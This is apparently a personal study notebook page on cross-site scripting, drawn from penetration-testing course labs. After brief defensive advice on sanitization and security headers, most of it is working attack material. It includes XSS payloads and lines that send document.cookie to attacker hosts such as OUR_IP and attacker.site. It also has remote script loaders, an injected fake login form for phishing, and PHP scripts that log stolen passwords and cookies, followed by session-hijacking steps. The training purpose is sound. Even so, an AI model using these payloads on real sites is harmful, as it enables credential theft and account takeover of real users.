XSS

most reliable method of detecting XSS vulnerabilities is manual code review, which should cover both back-end and front-end code.

If we understand precisely how our input is being handled all the way until it reaches the web browser, we can write a custom payload that should work with high confidence.

XSS vulnerabilities are mainly linked to two parts of the web application: A Source like a user input field and a Sink that displays the input data. These are the main two points that we should focus on securing, both in the front-end and in the back-end.

The most important aspect of preventing XSS vulnerabilities is proper input sanitization and validation on both the front and back end. In addition to that, other security measures can be taken to help prevent XSS attacks.

Input sanitization https://github.com/cure53/DOMPurify n addition to input validation, we should always ensure that we do not allow any input with JavaScript code in it, by escaping any special characters. For this, we can utilize the DOMPurify JavaScript library, as follows:

// DOMPurify
<script type="text/javascript" src="dist/purify.min.js"></script>
let clean = DOMPurify.sanitize( dirty );

This will escape any special characters with a backslash \, which should help ensure that a user does not send any input with special characters (like JavaScript code), which should prevent vulnerabilities like DOM XSS.

When it comes to input sanitization, then the back-end plays a vital role, as front-end input sanitization can be easily bypassed by sending custom GET or POST requests. Luckily, there are very strong libraries for various back-end languages that can properly sanitize any user input, such that we ensure that no injection can occur.

For a NodeJS back-end, we can also use the DOMPurify library as we did with the front-end, as follows:

// DOMPurify
import DOMPurify from 'dompurify';
var clean = DOMPurify.sanitize(dirty);

Another important aspect to pay attention to in the back-end is Output Encoding. This means that we have to encode any special characters into their HTML codes, which is helpful if we need to display the entire user input without introducing an XSS vulnerability. For a PHP back-end, we can use the htmlspecialchars or the htmlentities functions, which would encode certain special characters into their HTML codes (e.g. < into &lt), so the browser will display them correctly, but they will not cause any injection of any sort:

// htmlentities
htmlentities($_GET['email']);

// js
import encode from 'html-entities';
encode('<'); // -> '&lt;
  • Using HTTPS across the entire domain.

  • Using XSS prevention headers.

  • Using the appropriate Content-Type for the page, like X-Content-Type-Options=nosniff.

  • Using Content-Security-Policy options, like script-src 'self', which only allows locally hosted scripts.

  • Using the HttpOnly and Secure cookie flags to prevent JavaScript from reading cookies and only transport them over HTTPS.

  • In addition to the above, having a good WAFcan significantly reduce the chances of XSS exploitation,

// get cookie
<script>window.alert(document.cookie)</script>

Xenotix is a XSS tester by OWASP

The True-Client-IP header is similar to the X-Forwarded-For header, both tell the server or proxy what the IP of the client is. Due to there being no sanitation in the header we are able to perform an XSS attack.

True-Client-IP: <iframe src="javascript:alert(`xss`)">

// xss
We will use the iframe XSS, <iframe src="javascript:alert(`xss`)">, in the place of the 5267-f73dcd000abcc353

Note that we create a JS that loads a non existant page on our Kali box and we start Netcat listener on port 80 : nc -nlvp 80

// Some code
<script>new Image().src="http://KALI-IP/b.php?"+document.cookie;</script>

XSS inside a INPUT HTML Tag

// insert this
" onfocus="alert(1)" autofocus="

in title

// boo</title><script>alert('1')</script>

aspen.eccouncil.org/BTC/BTCChallenges/LaunchExam/Beginner

Session highjacking via XSS One of the most common method used to mount a session hijacking attack is to exploit an XSS vulnerability in the web app.

Can perform the attack when all of the following conditions are met:

XSS Vulnerability exists and you can execute your own payload through it Session ID is sent through cookies in each HTTP request (this was an assumption) Cookies are readable by JS

Using the following script we will be able to steal the users cookies. Once we collect them, we just need to change our current cookies, refresh our browser and navigate the web app with victim session

// Some code
var i=new Image(); i.src="http://attacker.site/steal.php?q="%bdocument.cookie;

Session Fixation Not a vulnerability per say but can turn into Session Fixation if: The session identifier remains the same after a successfully reserved operation ( for example a login) The session identifier can be propogated (for example via URL or Javascript)

Session fixation is possible if the attacker is also a member of the vulnerable website

Most common protection mechanism against CSRF exploit is the token.

The token is a nonce (a number used once and discarded) and makes part of the request required to perform a given action unpredictable for an attacker

Note; the token becomes useless when the app is also vulnerable to XSS when in Var

// var=''
test';alert(1);//aaaa

<script>document.getElementById("headertitle").innerHTML = "Defaced";</script>

<script>
   var s = document.getElementById("element").innerHTML;
   document.write(s);
</script>

DOM Based xss

// innerHTML function does not allow the use of the <script> tags within it as a security feature. 
// Still, there are many other XSS payloads 
// we use that do not contain <script> tags, like the following XSS payload:

<img src="" onerror=alert(window.origin)>

<img src='' onerror=alert(window.origin)>
<img src='' onerror=alert(document.cookie)>
// xss tools:
// common open-source tools that can assist us in XSS discovery
// are XSS Strike, Brute XSS, and XSSer.

git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
python xsstrike.py

// example
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test" 

// payloads
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md
https://github.com/payloadbox/xss-payload-list

// Note: XSS can be injected into any input in the HTML page,
// which is not exclusive to HTML input fields, but may also be in HTTP headers 
// like the Cookie or User-Agent (i.e., when their values are displayed on the page).
// they are designed to work with certain types of injections.

http://165.232.42.79:30061/?fullname=%3Cimg%20src=%27%27%20onerror=alert(window.origin)%3E&username=test&password=test&email=%3Cimg%20src=%27%27%20onerror=alert(window.origin)%3E
// Defacement
<script>document.body.style.background = "#141d2b"</script>
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>
<script>document.title = 'HackTheBox Academy'</script>
document.getElementById("todo").innerHTML = "New Text"
document.getElementsByTagName('body')[0].innerHTML = "New Text"

// minify
<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script>

// phishing
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

// remove prev image form
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

// phishing page on attacker
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>

mkdir /tmp/tmpserver
cd /tmp/tmpserver
vi index.php #at this step we wrote our index.php file
sudo php -S 0.0.0.0:80

// payload for creds it must be run locally
'><script>document.write('<h3>Please login to continue</h3><form action=http://10.10.15.28:443/><input type=username name=username placeholder=Username><input type=password name=password placeholder=Password><input type=submit name=submit value=Login></form>');document.getElementById('urlform').remove();</script><!--

// session hijacking loading remote script
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>


Now we can start testing these payloads one by one by using one of 
them for all of input fields and appending the name of the field after our IP, 
as mentioned earlier, like:

<script src=http://OUR_IP/fullname></script> #this goes inside the full-name field
<script src=http://OUR_IP/username></script> #this goes inside the username field
...SNIP...

document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;

script.js
new Image().src='http://OUR_IP/index.php?c='+document.cookie

// index.php  to write cookies ordered in a file
<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>

Finally, we can use this cookie on the login.php page to access the victim's account.
To do so, once we navigate to /hijacking/login.php, we can click Shift+F9 in Firefox 
to reveal the Storage bar in the Developer Tools. Then, we can click on the + button 
on the top right corner and add our cookie, where the Name is the part before = and 
the Value is the part after = from our stolen cookie:


Last updated

Was this helpful?